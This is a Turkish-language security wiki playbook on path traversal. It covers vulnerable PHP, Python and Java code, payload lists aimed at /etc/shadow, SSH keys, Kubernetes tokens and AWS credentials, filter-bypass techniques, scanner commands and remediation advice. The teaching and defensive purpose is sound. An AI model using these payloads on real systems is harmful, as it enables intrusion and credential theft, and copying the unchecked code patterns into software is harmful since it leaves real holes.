AltaySec Wiki Path Traversal (Directory Traversal) Expert Playbook   ·   AltaySec Araştırmalar

Path Traversal (Directory Traversal) Expert Playbook

root@altaysec:~# whoami
> Yazar: İlknur Şeyma Uzun

Path Traversal (veya Directory Traversal), bir saldırganın uygulama tarafından kullanılan dosya yolu parametrelerini manipüle ederek, web kök dizini (web root) dışındaki kısıtlı dosya ve dizinlere erişmesine olanak tanıyan kritik bir zafiyettir. Red Team operasyonlarında bu zafiyet, genellikle "Information Disclosure" aşamasından "Remote Code Execution (RCE)" aşamasına geçişte bir köprü görevi görür. Modern mikroservis mimarilerinde ve bulut tabanlı sistemlerde, yanlış yapılandırılmış API uç noktaları ve dosya depolama servisleri nedeniyle hala en yaygın ve tehlikeli zafiyet türlerinden biridir.


How It Works (Teknik Analiz)

Zafiyetin kök nedeni, kullanıcıdan alınan girdinin (filename, path, vb.) işletim sistemi düzeyindeki dosya sistemi API'lerine (açma, okuma, yazma) doğrudan ve doğrulanmadan iletilmesidir. İşletim sistemleri, dosya yollarında gezinmek için özel karakter dizilerini (../ veya ..\) kullanır.

Root Cause Analysis (RCA)

  1. Dizin Hiyerarşisi: İşletim sistemlerinde . mevcut dizini, .. ise bir üst dizini temsil eder.
  2. Canonicalization (Kanonikleştirme) Sorunu: Uygulama, girdiyi aldığında onu "normalleştirmez". Örneğin, /var/www/html/images/../../etc/passwd yolu, dosya sistemi tarafından /etc/passwd olarak çözümlenir.
  3. API Güveni: Yazılım, işletim sisteminin sunduğu fopen(), file_get_contents() veya os.path.join() gibi fonksiyonlara girdiyi kontrolsüz aktardığında, işletim sistemi bu "traversal" karakterlerini yorumlayarak kısıtlı alanlara erişim sağlar.

Vulnerable Code Patterns

PHP (Geleneksel ve Tehlikeli)

<?php
$file = $_GET['file'];
// Hiçbir filtreleme yok, doğrudan dosya içeriği okunuyor.
include("/var/www/html/public/images/" . $file);
?>

Python (Flask/Django)

@app.route('/download')
def download_file():
    filename = request.args.get('filename')
    # os.path.join tek başına güvenli değildir if filename starts with '/'
    return send_file(os.path.join('/app/storage/reports/', filename))

Java (Servlet)

String filename = request.getParameter("filename");
File file = new File("/data/user_files/", filename);
// file object, traversal karakterlerini (../) içerirse dışarı çıkar.

Detection & Enumeration (Keşif ve Analiz)

Manuel Test Metodolojisi

  1. Parametre Tespiti: URL'de veya JSON body içerisinde dosya adını andıran parametreleri belirleyin: ?file=, ?path=, ?doc=, ?img=, ?view=, ?template=.
  2. Basit Fuzzing: Parametreye ../../../../etc/passwd (Linux) veya ..\..\..\..\windows\win.ini (Windows) değerlerini göndererek uygulamanın tepkisini ölçün.
  3. Error-Based Analiz: Uygulama hata veriyorsa, hata mesajındaki tam dosya yolunu sızdırmaya çalışın. "File not found: /var/www/data/..." mesajı, kaç dizin yukarı çıkmanız gerektiğini söyler.

Gelişmiş Keşif Payloadları

İşletim Sistemi Keşif Payloadı
Linux ../../../../etc/issue
Linux (Hassas) ../../../../etc/shadow
Windows ..\..\..\..\windows\win.ini
Java/Web ../../../../WEB-INF/web.xml

Attack Vectors & Exploitation

In-Band Path Traversal

En temel sömürü türüdür. Saldırgan, doğrudan HTTP yanıtı içerisinde hedef dosyanın içeriğini görür. Genellikle ?file=../../../etc/passwd şeklinde kullanılır.

Path Traversal with Absolute Path

Uygulama ../ dizilerini filtreliyor olabilir ancak mutlak yolları (absolute paths) engellemeyi unutmuş olabilir.

Nested Traversal Sequences (Recursive Bypass)

Uygulama ../ dizisini gördüğü yerde siliyor ancak bunu özyinelemeli (recursive) yapmıyorsa kullanılır.

Null Byte Poisoning (Legacy Systems)

Eski PHP (<5.3.4) veya bazı C tabanlı sistemlerde, uygulama dosya adının sonuna zorunlu bir uzantı (örn: .jpg) ekliyorsa kullanılır. %00 karakteri dizeyi sonlandırır.

Path Traversal via ZIP Slip

Uygulama bir ZIP arşivi kabul edip bunu sunucuda açıyorsa, arşiv içerisindeki dosya isimlerine ../../ eklenerek dosya sisteminde istenilen yere dosya yazılabilir (RCE potansiyeli).


Payloads & Advanced Commands

Linux Exfiltration Payloads

Sistem hakkında derin bilgi toplamak için:

# Kullanıcılar ve yetkiler
../../../../etc/passwd

# Mevcut çevresel değişkenler (API keyler sızabilir)
../../../../proc/self/environ

# Mevcut sürecin komut satırı argümanları
../../../../proc/self/cmdline

# SSH Private Key (Eğer kullanıcı dizini biliniyorsa)
../../../../home/user/.ssh/id_rsa

# Network ARP tablosu
../../../../proc/net/arp

Windows Sensitive Files

C:\Windows\win.ini
C:\Windows\system32\drivers\etc\hosts
C:\Users\Administrator\Desktop\desktop.ini
C:\inetpub\wwwroot\web.config

Cloud & Container Payloads

Modern ortamlarda kritik veriler için:

# Kubernetes Token
../../../../var/run/secrets/kubernetes.io/serviceaccount/token

# AWS/Cloud Config (Eğer path biliniyorsa)
../../../../root/.aws/credentials

# Docker Environment
../../../../.dockerenv

Bypass & Obfuscation (Atlatma Teknikleri)

URL Encoding Variations

WAF veya basit filtreleri aşmak için karakterleri farklı formatlarda gönderin.

Unicode & UTF-8 Obfuscation

Path Normalization Tricks

Bazı web sunucuları (Nginx, Apache) ve uygulama dilleri arasındaki yorum farklarından yararlanılır.


Remediation & Prevention (Önleme ve Savunma)

  1. Indirect Referencing: Dosya adlarını doğrudan kullanıcıdan almayın. Veritabanındaki bir ID ile eşleştirin. (?file_id=12 gibi)
  2. Input Validation: Girdinin sadece alfanümerik karakterler içerdiğinden emin olun (Allow-list).
  3. Canonicalization: Dosya yolunu kullanmadan önce mutlaka "Kanonikleştirin" (Normalleştirin).

Secure Code Example (Java)

File file = new File(BASE_DIRECTORY, userInput);
if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) {
    // Sadece BASE_DIRECTORY içindeyse işle
}
  1. Chroot/Jail: Uygulamayı işletim sisteminde kısıtlı bir dizin (jail) içinde çalıştırın.

Common Tools & Frameworks

Araç Fonksiyon Komut Örneği
DotDotPwn Otomatik traversal tarayıcı perl dotdotpwn.pl -h 10.10.10.10 -m http
FFUF Fuzzing ve parametre keşfi ffuf -u http://target/view?file=FUZZ -w lfi_wordlist.txt
Burp Suite Manuel analiz ve Intruder Intruder -> Payload: Fuzzing - path traversal
Shortscan IIS 8.3 kısa ad keşfi shortscan http://target/
IIS-ShortName-Scanner IIS dosya adı sızdırma java -jar iis_shortname_scanner.jar 20 8 http://target/

Yazar: İlknur Şeyma Uzun · AltaySec Wiki — Türkçe güvenlik playbook'u.

← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv